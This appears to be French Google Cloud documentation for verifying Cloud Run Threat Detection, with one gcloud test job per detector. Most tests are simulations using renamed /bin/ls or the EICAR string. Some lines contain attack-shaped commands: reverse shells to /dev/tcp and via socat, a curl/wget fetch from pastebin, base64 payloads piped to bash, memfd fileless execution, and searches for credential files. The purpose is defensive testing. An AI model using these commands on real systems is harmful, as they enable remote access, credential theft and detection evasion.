Cette page explique comment vérifier que Cloud Run Threat Detection fonctionne en déclenchant intentionnellement des détecteurs et en vérifiant les résultats. Cloud Run Threat Detection est un service intégré de Security Command Center.
Avant de commencer
Pour détecter les menaces potentielles qui pèsent sur vos services et jobs Cloud Run, assurez-vous que le service Cloud Run Threat Detection est activé dans Security Command Center. Certains détecteurs sont désactivés par défaut. Pour tester ces détecteurs, vous devez d'abord les activer.
Définir des variables d'environnement
Pour tester les détecteurs, utilisez la console Google Cloud et Cloud Shell. Vous pouvez définir des variables d'environnement dans Cloud Shell pour faciliter l'exécution des commandes. Vous utiliserez ces variables pour tester tous les détecteurs.
Accédez à la consoleGoogle Cloud .
Sélectionnez le projet contenant le job Cloud Run que vous souhaitez utiliser pour le test.
Cliquez sur Activer Cloud Shell.
Dans Cloud Shell, définissez les variables d'environnement :
Définissez le projet et la région dans lesquels vous allez créer des jobs de test.
export PROJECT=PROJECT_ID export REGION=REGION
Une fois les variables d'environnement définies, vous pouvez continuer à suivre les instructions pour tester les détecteurs.
Commande et contrôle : outil de stéganographie détecté
Pour déclencher un résultat Command and Control: Steganography Tool Detected (aperçu), exécutez un fichier binaire avec des fonctionnalités de manipulation de fichiers compatibles avec les outils de stéganographie dans un conteneur. Cet exemple copie /bin/ls et le renomme steghide.
Créez et exécutez le job Cloud Run :
JOB_NAME="crtd-test-steganography-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/steghide; sleep 60; /tmp/steghide; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Command and Control: Steganography Tool
Detected.
Accès aux identifiants : recherche d'identifiants Google Cloud
Pour déclencher un résultat Credential Access: Find Google Cloud Credentials, exécutez un fichier binaire capable de rechercher le contenu des fichiers dans un conteneur. Cet exemple copie /bin/ls, le renomme grep et l'exécute avec des arguments suspects.
Créez et exécutez le job Cloud Run :
JOB_NAME="crtd-test-find-creds-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/grep; sleep 60; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Credential Access: Find Google Cloud Credentials.
Accès aux identifiants : reconnaissance des clés GPG
Pour déclencher un résultat Credential Access: GPG Key Reconnaissance, exécutez un outil de recherche avec des arguments suspects.
Créez et exécutez le job Cloud Run :
JOB_NAME="crtd-test-gpg-key-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find secring.gpg; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Credential Access: GPG Key Reconnaissance.
Accès aux identifiants : rechercher des clés privées ou des mots de passe
Pour déclencher un résultat Credential Access: Search Private Keys or Passwords, exécutez un outil de recherche avec des arguments suspects.
Créez et exécutez le job Cloud Run :
JOB_NAME="crtd-test-search-keys-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find id_rsa; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Credential Access: Search Private Keys or
Passwords.
Éviction de défense : ligne de commande avec fichier ELF en base64
Pour déclencher un résultat Defense Evasion: Base64 ELF File Command Line, exécutez base64 avec des arguments d'en-tête ELF encodés.
Créez et exécutez le job Cloud Run :
JOB_NAME="crtd-test-base64-elf-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; base64 -d f0VMRgIB; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test doit créer deux résultats Defense Evasion: Base64 ELF File Command Line.
Évasion de la défense : script Python encodé en base64 exécuté
Pour déclencher un résultat Defense Evasion: Base64 Encoded Python Script Executed, exécutez echo avec une commande Python encodée.
Créez et exécutez le job Cloud Run :
JOB_NAME="crtd-test-base64-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; base64 aW1wb3J0IH; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Defense Evasion: Base64 Encoded Python Script Executed.
Contournement des défenses : script shell encodé en base64 exécuté
Pour déclencher un résultat Defense Evasion: Base64 Encoded Shell Script Executed, exécutez echo avec une commande shell encodée.
Créez et exécutez le job Cloud Run :
JOB_NAME="crtd-test-base64-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; base64 IyEvYmluL3NoC; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Defense Evasion: Base64 Encoded Shell Script Executed.
Évasion de la défense : lancer un outil de compilation de code dans un conteneur
Pour déclencher un résultat Defense Evasion: Launch Code Compiler Tool In Container (aperçu), exécutez un outil de compilation.
Créez et exécutez le job Cloud Run :
JOB_NAME="crtd-test-launch-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/gcc10; sleep 60; /tmp/gcc10 -o /tmp/gcc10.o; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Defense Evasion: Launch Code Compiler Tool
In Container.
Exécution : binaire malveillant ajouté exécuté
Pour déclencher un résultat "Exécution : binaire malveillant ajouté exécuté", ajoutez un binaire malveillant (EICAR) à votre conteneur et exécutez-le.
Créez et exécutez le job Cloud Run :
JOB_NAME="crtd-test-added-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; sleep 60; /tmp/test_mal_file; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat "Exécution : binaire malveillant ajouté exécuté".
Exécution : bibliothèque malveillante ajoutée chargée
Pour déclencher un résultat d'exécution : bibliothèque malveillante ajoutée chargée, ajoutez une bibliothèque malveillante dans votre conteneur et chargez-la. Cet exemple met à jour le fichier /tmp/test_mal_lib avec une bibliothèque malveillante simulée, puis le charge à l'aide de mmap. Le chargement de bibliothèque d'un fichier existant est inattendu, car le fichier ne se trouvait pas dans l'image de conteneur d'origine et la bibliothèque est un fichier de test EICAR, qui est classé comme malveillant par les renseignements sur les menaces.
Créez et exécutez le job Cloud Run :
JOB_NAME="crtd-test-add-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << 'EOF2' > JOB_NAME.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /tmp/test_mal_lib
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
int fd = open(argv[1], O_RDONLY);
if (fd == -1) return 1;
struct stat sb;
if (fstat(fd, &sb) == -1) return 1;
void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
if (addr == MAP_FAILED) return 1;
write(1, addr, sb.st_size);
munmap(addr, sb.st_size);
close(fd);
return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /tmp/test_mal_lib
sleep 10
EOF2
ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
rm -f JOB_NAME.sh
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat "Exécution : bibliothèque malveillante ajoutée chargée".
Exécution : échappement de conteneur
Pour déclencher un résultat "Exécution : échappement de conteneur", exécutez un outil simulant un comportement d'échappement de conteneur.
Créez et exécutez le job Cloud Run :
JOB_NAME="crtd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/botb-linux-amd64; sleep 60; /tmp/botb-linux-amd64 -autopwn; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat "Exécution : échappement de conteneur".
Exécution : exécution sans fichier dans /memfd:
Pour déclencher un résultat Execution: Fileless Execution in /memfd:, exécutez un processus à partir du système de fichiers en mémoire /memfd: à l'aide de Python.
Créez et exécutez le job Cloud Run :
JOB_NAME="crtd-test-fileless-memfd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
PYTHON_CODE=$(cat <<EOF
import os,sys
f = open('/bin/ls','rb')
execdata = f.read()
f.close()
fd = os.memfd_create('', 0)
fname = '/proc/self/fd/{}'.format(fd)
f = open(fname,'wb')
f.write(execdata)
f.close()
args = ['/bin']
os.execve(fname, args, os.environ)
EOF
)
B64_PAYLOAD=$(echo "$PYTHON_CODE" | base64 -w 0)
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image python:latest \
--command=bash \
--args="-c","sleep 60; echo $B64_PAYLOAD | base64 -d | python3 ; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Execution: Fileless Execution in /memfd:.
Exécution : exécution d'un outil d'attaque de Kubernetes
Pour déclencher un résultat d'exécution d'un outil d'attaque Kubernetes, exécutez un programme qui correspond à un outil d'attaque connu.
Créez et exécutez le job Cloud Run :
JOB_NAME="crtd-test-k8s-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/amicontained; sleep 60; /tmp/amicontained; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat "Exécution : exécution d'un outil d'attaque de Kubernetes".
Exécution : exécution d'un outil de reconnaissance local
Pour déclencher un résultat Execution: Local Reconnaissance Tool Execution, exécutez un programme correspondant à un outil de reconnaissance.
Créez et exécutez le job Cloud Run :
JOB_NAME="crtd-test-local-recon-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/linenum.sh; sleep 60; /tmp/linenum.sh; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat "Exécution : exécution d'un outil de reconnaissance local".
Exécution : binaire malveillant modifié exécuté
Pour déclencher un résultat d'exécution : binaire malveillant modifié exécuté, modifiez un binaire pour qu'il corresponde à une signature malveillante connue (EICAR).
Créez et exécutez le job Cloud Run :
JOB_NAME="crtd-test-mod-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; sleep 60; /etc/issue; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat "Exécution : binaire malveillant modifié exécuté".
Exécution : bibliothèque malveillante modifiée chargée
Pour déclencher un résultat d'exécution : bibliothèque malveillante modifiée chargée, modifiez un fichier existant avec une bibliothèque malveillante dans votre conteneur et chargez-le. Cet exemple met à jour le fichier /etc/issue avec une bibliothèque malveillante simulée, puis le charge à l'aide de mmap. Le chargement de bibliothèque d'un fichier existant est inattendu, car la bibliothèque est un fichier de test EICAR, qui est classé comme malveillant par les renseignements sur les menaces.
Créez et exécutez le job Cloud Run :
JOB_NAME="crtd-test-mod-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << 'EOF2' > JOB_NAME.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /etc/issue
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
int fd = open(argv[1], O_RDONLY);
if (fd == -1) return 1;
struct stat sb;
if (fstat(fd, &sb) == -1) return 1;
void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
if (addr == MAP_FAILED) return 1;
write(1, addr, sb.st_size);
munmap(addr, sb.st_size);
close(fd);
return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /etc/issue
sleep 10
EOF2
ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
rm -f JOB_NAME.sh
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat "Exécution : bibliothèque malveillante modifiée chargée".
Exécution : exécution de code Netcat à distance dans un conteneur
Pour déclencher un événement Execution: Netcat Remote Code Execution In Container, exécutez netcat avec des arguments suspects.
Créez et exécutez le job Cloud Run :
JOB_NAME="crtd-test-netcat-rce-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","cp /bin/ls /tmp/nc; sleep 60; /tmp/nc -e; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Execution: Netcat Remote Code Execution In
Container.
Exécution : exécution possible de commandes arbitraires via CUPS (CVE-2024-47076)
Pour déclencher un résultat Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076), exécutez un script simulant l'exploitation.
Créez et exécutez le job Cloud Run :
JOB_NAME="crtd-test-cups-cve-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076).
Exécution : exécution possible de commandes à distance détectée
Pour déclencher un résultat Execution: Possible Remote Command Execution Detected (Aperçu), exécutez une commande qui tente d'établir une connexion à distance.
Créez et exécutez le job Cloud Run :
JOB_NAME="crtd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; cp /bin/ls /tmp/touch; echo \"Hello\" | /tmp/touch >& /dev/tcp/8.8.8.8/53; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Execution: Possible Remote Command
Execution Detected.
Exécution : exécution d'un programme avec un environnement de proxy HTTP non autorisé
Pour déclencher un résultat Execution: Program Run with Disallowed HTTP Proxy Env, exécutez un programme avec une variable d'environnement de proxy incorrecte.
Créez et exécutez le job Cloud Run :
JOB_NAME="crtd-test-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Execution: Program Run with Disallowed
HTTP Proxy Env.
Exécution : shell inversé de Socat détecté
Pour déclencher un résultat Execution: Socat Reverse Shell Detected, établissez un shell inversé à l'aide de l'utilitaire socat.
Créez et exécutez le job Cloud Run :
JOB_NAME="crtd-test-socat-rev-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
RAW_SOCAT="timeout 10s /usr/bin/socat TCP-LISTEN:4444,reuseaddr,fork STDOUT & sleep 5 && timeout 5s /usr/bin/socat TCP:127.0.0.1:4444 EXEC:/bin/bash,pty,stderr || true"
B64_SOCAT=$(echo -n "$RAW_SOCAT" | base64 | tr -d '\n\r ')
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args="-c","sleep 60; apt-get update -qq && apt-get install socat -y -qq && echo $B64_SOCAT | base64 -d | bash" \
--execute-now \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Execution: Socat Reverse Shell Detected.
Exécution : objet partagé OpenSSL suspect chargé
Pour déclencher un résultat Execution: Suspicious OpenSSL Shared Object Loaded, exécutez openssl avec une bibliothèque suspecte.
Créez et exécutez le job Cloud Run :
JOB_NAME="crtd-test-openssl-so-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Execution: Suspicious OpenSSL Shared Object Loaded.
Exfiltration : lancer des outils de copie de fichiers à distance dans un conteneur
Pour déclencher un résultat Exfiltration: Launch Remote File Copy Tools In Container, exécutez un outil de copie à distance.
Créez et exécutez le job Cloud Run :
JOB_NAME="crtd-test-remote-copy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/rsync; /tmp/rsync; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Exfiltration: Launch Remote File Copy Tools
In Container.
Impact : détecter les lignes de commande malveillantes
Pour déclencher un résultat Impact: Detect Malicious Cmdlines (Aperçu), exécutez un nom de commande suspect (IPFS).
Créez et exécutez le job Cloud Run :
JOB_NAME="crtd-test-malicious-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/ipfs; /tmp/ipfs; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Impact: Detect Malicious Cmdlines.
Impact : supprimer des données du disque de manière groupée
Pour déclencher un résultat Impact: Remove Bulk Data From Disk, exécutez un outil tel que shred.
Créez et exécutez le job Cloud Run :
JOB_NAME="crtd-test-remove-bulk-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/shred; /tmp/shred; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Impact: Remove Bulk Data From Disk.
Impact : activité de minage de cryptomonnaie suspecte utilisant le protocole Stratum
Pour déclencher un résultat Impact: Suspicious cryptocurrency mining activity using the Stratum
Protocol, exécutez un fichier binaire avec des arguments semblables à ceux utilisés par les logiciels de minage de cryptomonnaie communiquant à l'aide du protocole Stratum.
Créez et exécutez le job Cloud Run :
JOB_NAME="crtd-test-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Impact: Suspicious cryptocurrency mining activity
using the Stratum Protocol.
Script malveillant exécuté
Pour déclencher un résultat de script malveillant exécuté, exécutez un script qui imite un comportement malveillant.
Créez et exécutez le job Cloud Run :
JOB_NAME="crtd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; sh -c \"(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d\"; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat de script malveillant exécuté.
URL malveillante observée
Pour déclencher un résultat d'URL malveillante observée, exécutez un fichier binaire et fournissez une URL malveillante comme argument.
Créez et exécutez le job Cloud Run :
JOB_NAME="crtd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; apt-get update && apt-get install curl -y && curl https://testsafebrowsing.appspot.com/s/malware.html | cat; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test déclenche un résultat "URL malveillante observée".
Élévation des privilèges : utilisation abusive de Sudo pour l'élévation des privilèges (CVE-2019-14287)
Pour déclencher un résultat Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287), exécutez le fichier binaire sudo avec le paramètre -u#-1.
Créez et exécutez le job Cloud Run :
JOB_NAME="crtd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287).
Élévation des privilèges : élévation potentielle des privilèges de Sudo (CVE-2021-3156)
Pour déclencher un résultat Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156), exécutez le fichier binaire sudo avec le paramètre -s et un paramètre se terminant par ".
Créez et exécutez le job Cloud Run :
JOB_NAME="crtd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/ls /tmp/sudo; su $(id -un 1000) -c "/tmp/sudo -s \"123\\\\\"" ; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156).
Élévation des privilèges : faille liée à l'élévation des privilèges locaux de Polkit (CVE-2021-4034)
Pour déclencher un résultat Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034), exécutez un binaire pkexec avec la variable d'environnement GCONV_PATH définie en tant qu'utilisateur non racine.
Créez et exécutez le job Cloud Run :
JOB_NAME="crtd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/ls /tmp/pkexec; su $(id -un 1000) -c "GCONV_PATH=junk /tmp/pkexec;"; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034).
Interface système inversée
Pour déclencher un résultat d'interface système inversée, démarrez un fichier binaire avec une redirection stdin vers un socket connecté TCP.
Créez et exécutez le job Cloud Run :
JOB_NAME="crtd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat d'interface système inversée.
Exécution : image Docker de minage de cryptomonnaie
Pour déclencher une recherche d'image Docker de minage de cryptomonnaie, déployez un conteneur à l'aide d'un nom d'image Docker associé à un logiciel de minage de cryptomonnaie.
Créez et exécutez le job Cloud Run :
JOB_NAME="crtd-test-mining-img-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image docker.io/security-test-DO-NOT-USE/xmrig:latest \
--command sh \
--wait || true
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat "Exécution : image Docker de minage de cryptomonnaie". Notez que le déploiement du job échouera, car l'image n'existe pas, mais le résultat sera quand même généré.
Impact : commandes de minage de cryptomonnaie
Pour déclencher un résultat Impact: Cryptomining Commands, exécutez une commande avec des arguments qui ressemblent à un logiciel de minage de cryptomonnaie connu.
Créez et exécutez le job Cloud Run :
JOB_NAME="crtd-test-mining-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command xmrig \
--wait || true
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Impact: Cryptomining Commands.
Escalade des privilèges : compte de service Compute Engine par défaut SetIAMPolicy
Pour déclencher un résultat Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy, exécutez une commande qui utilise le compte de service Compute Engine par défaut pour définir la stratégie IAM d'un service Cloud Run.
Créez et exécutez le job Cloud Run :
JOB_NAME="crtd-test-set-iam-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image gcr.io/google.com/cloudsdktool/google-cloud-cli:stable \
--command gcloud \
--args "run","services","add-iam-policy-binding","non-existent-service","--region",$REGION,"--member=allUsers","--role=roles/run.invoker","--quiet" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy.
